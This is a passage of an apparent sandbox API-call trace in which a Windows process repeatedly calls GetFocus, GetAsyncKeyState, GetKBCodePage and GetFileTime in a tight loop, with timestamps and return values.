dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.144] GetFocus () returned 0x0 [0250.144] GetAsyncKeyState (vKey=58) returned 0 [0250.144] GetKBCodePage () returned 0x1b5 [0250.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.144] GetFocus () returned 0x0 [0250.144] GetAsyncKeyState (vKey=58) returned 0 [0250.144] GetKBCodePage () returned 0x1b5 [0250.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.144] GetFocus () returned 0x0 [0250.144] GetAsyncKeyState (vKey=58) returned 0 [0250.144] GetKBCodePage () returned 0x1b5 [0250.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.144] GetFocus () returned 0x0 [0250.144] GetAsyncKeyState (vKey=58) returned 0 [0250.144] GetKBCodePage () returned 0x1b5 [0250.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.144] GetFocus () returned 0x0 [0250.144] GetAsyncKeyState (vKey=58) returned 0 [0250.144] GetKBCodePage () returned 0x1b5 [0250.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.144] GetFocus () returned 0x0 [0250.144] GetAsyncKeyState (vKey=58) returned 0 [0250.144] GetKBCodePage () returned 0x1b5 [0250.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.144] GetFocus () returned 0x0 [0250.144] GetAsyncKeyState (vKey=58) returned 0 [0250.144] GetKBCodePage () returned 0x1b5 [0250.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.144] GetFocus () returned 0x0 [0250.144] GetAsyncKeyState (vKey=58) returned 0 [0250.144] GetKBCodePage () returned 0x1b5 [0250.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.144] GetFocus () returned 0x0 [0250.144] GetAsyncKeyState (vKey=58) returned 0 [0250.144] GetKBCodePage () returned 0x1b5 [0250.144] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.145] GetFocus () returned 0x0 [0250.145] GetAsyncKeyState (vKey=58) returned 0 [0250.145] GetKBCodePage () returned 0x1b5 [0250.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.145] GetFocus () returned 0x0 [0250.145] GetAsyncKeyState (vKey=58) returned 0 [0250.145] GetKBCodePage () returned 0x1b5 [0250.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.145] GetFocus () returned 0x0 [0250.145] GetAsyncKeyState (vKey=58) returned 0 [0250.145] GetKBCodePage () returned 0x1b5 [0250.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.145] GetFocus () returned 0x0 [0250.145] GetAsyncKeyState (vKey=58) returned 0 [0250.145] GetKBCodePage () returned 0x1b5 [0250.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.145] GetFocus () returned 0x0 [0250.145] GetAsyncKeyState (vKey=58) returned 0 [0250.145] GetKBCodePage () returned 0x1b5 [0250.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.145] GetFocus () returned 0x0 [0250.145] GetAsyncKeyState (vKey=58) returned 0 [0250.145] GetKBCodePage () returned 0x1b5 [0250.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.145] GetFocus () returned 0x0 [0250.145] GetAsyncKeyState (vKey=58) returned 0 [0250.145] GetKBCodePage () returned 0x1b5 [0250.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.145] GetFocus () returned 0x0 [0250.145] GetAsyncKeyState (vKey=58) returned 0 [0250.145] GetKBCodePage () returned 0x1b5 [0250.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.145] GetFocus () returned 0x0 [0250.145] GetAsyncKeyState (vKey=58) returned 0 [0250.145] GetKBCodePage () returned 0x1b5 [0250.145] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.146] GetFocus () returned 0x0 [0250.146] GetAsyncKeyState (vKey=58) returned 0 [0250.146] GetKBCodePage () returned 0x1b5 [0250.146] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.146] GetFocus () returned 0x0 [0250.146] GetAsyncKeyState (vKey=58) returned 0 [0250.146] GetKBCodePage () returned 0x1b5 [0250.146] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.146] GetFocus () returned 0x0 [0250.146] GetAsyncKeyState (vKey=58) returned 0 [0250.146] GetKBCodePage () returned 0x1b5 [0250.146] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.146] GetFocus () returned 0x0 [0250.146] GetAsyncKeyState (vKey=58) returned 0 [0250.146] GetKBCodePage () returned 0x1b5 [0250.146] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.146] GetFocus () returned 0x0 [0250.146] GetAsyncKeyState (vKey=58) returned 0 [0250.146] GetKBCodePage () returned 0x1b5 [0250.146] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.146] GetFocus () returned 0x0 [0250.146] GetAsyncKeyState (vKey=58) returned 0 [0250.146] GetKBCodePage () returned 0x1b5 [0250.146] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.146] GetFocus () returned 0x0 [0250.146] GetAsyncKeyState (vKey=58) returned 0 [0250.146] GetKBCodePage () returned 0x1b5 [0250.146] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.146] GetFocus () returned 0x0 [0250.146] GetAsyncKeyState (vKey=58) returned 0 [0250.146] GetKBCodePage () returned 0x1b5 [0250.146] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.146] GetFocus () returned 0x0 [0250.146] GetAsyncKeyState (vKey=58) returned 0 [0250.146] GetKBCodePage () returned 0x1b5 [0250.146] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.147] GetFocus () returned 0x0 [0250.147] GetAsyncKeyState (vKey=58) returned 0 [0250.147] GetKBCodePage () returned 0x1b5 [0250.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.147] GetFocus () returned 0x0 [0250.147] GetAsyncKeyState (vKey=58) returned 0 [0250.147] GetKBCodePage () returned 0x1b5 [0250.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.147] GetFocus () returned 0x0 [0250.147] GetAsyncKeyState (vKey=58) returned 0 [0250.147] GetKBCodePage () returned 0x1b5 [0250.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.147] GetFocus () returned 0x0 [0250.147] GetAsyncKeyState (vKey=58) returned 0 [0250.147] GetKBCodePage () returned 0x1b5 [0250.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.147] GetFocus () returned 0x0 [0250.147] GetAsyncKeyState (vKey=58) returned 0 [0250.147] GetKBCodePage () returned 0x1b5 [0250.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.147] GetFocus () returned 0x0 [0250.147] GetAsyncKeyState (vKey=58) returned 0 [0250.147] GetKBCodePage () returned 0x1b5 [0250.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.147] GetFocus () returned 0x0 [0250.147] GetAsyncKeyState (vKey=58) returned 0 [0250.147] GetKBCodePage () returned 0x1b5 [0250.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.147] GetFocus () returned 0x0 [0250.147] GetAsyncKeyState (vKey=58) returned 0 [0250.147] GetKBCodePage () returned 0x1b5 [0250.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.147] GetFocus () returned 0x0 [0250.147] GetAsyncKeyState (vKey=58) returned 0 [0250.147] GetKBCodePage () returned 0x1b5 [0250.147] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.148] GetFocus () returned 0x0 [0250.148] GetAsyncKeyState (vKey=58) returned 0 [0250.148] GetKBCodePage () returned 0x1b5 [0250.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.148] GetFocus () returned 0x0 [0250.148] GetAsyncKeyState (vKey=58) returned 0 [0250.148] GetKBCodePage () returned 0x1b5 [0250.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.148] GetFocus () returned 0x0 [0250.148] GetAsyncKeyState (vKey=58) returned 0 [0250.148] GetKBCodePage () returned 0x1b5 [0250.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.148] GetFocus () returned 0x0 [0250.148] GetAsyncKeyState (vKey=58) returned 0 [0250.148] GetKBCodePage () returned 0x1b5 [0250.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.148] GetFocus () returned 0x0 [0250.148] GetAsyncKeyState (vKey=58) returned 0 [0250.148] GetKBCodePage () returned 0x1b5 [0250.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.148] GetFocus () returned 0x0 [0250.148] GetAsyncKeyState (vKey=58) returned 0 [0250.148] GetKBCodePage () returned 0x1b5 [0250.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.148] GetFocus () returned 0x0 [0250.148] GetAsyncKeyState (vKey=58) returned 0 [0250.148] GetKBCodePage () returned 0x1b5 [0250.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.148] GetFocus () returned 0x0 [0250.148] GetAsyncKeyState (vKey=58) returned 0 [0250.148] GetKBCodePage () returned 0x1b5 [0250.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.148] GetFocus () returned 0x0 [0250.148] GetAsyncKeyState (vKey=58) returned 0 [0250.148] GetKBCodePage () returned 0x1b5 [0250.148] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.148] GetFocus () returned 0x0 [0250.149] GetAsyncKeyState (vKey=58) returned 0 [0250.149] GetKBCodePage () returned 0x1b5 [0250.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.149] GetFocus () returned 0x0 [0250.149] GetAsyncKeyState (vKey=58) returned 0 [0250.149] GetKBCodePage () returned 0x1b5 [0250.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.149] GetFocus () returned 0x0 [0250.149] GetAsyncKeyState (vKey=58) returned 0 [0250.149] GetKBCodePage () returned 0x1b5 [0250.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.149] GetFocus () returned 0x0 [0250.149] GetAsyncKeyState (vKey=58) returned 0 [0250.149] GetKBCodePage () returned 0x1b5 [0250.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.149] GetFocus () returned 0x0 [0250.149] GetAsyncKeyState (vKey=58) returned 0 [0250.149] GetKBCodePage () returned 0x1b5 [0250.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.149] GetFocus () returned 0x0 [0250.149] GetAsyncKeyState (vKey=58) returned 0 [0250.149] GetKBCodePage () returned 0x1b5 [0250.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.149] GetFocus () returned 0x0 [0250.149] GetAsyncKeyState (vKey=58) returned 0 [0250.149] GetKBCodePage () returned 0x1b5 [0250.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.149] GetFocus () returned 0x0 [0250.149] GetAsyncKeyState (vKey=58) returned 0 [0250.149] GetKBCodePage () returned 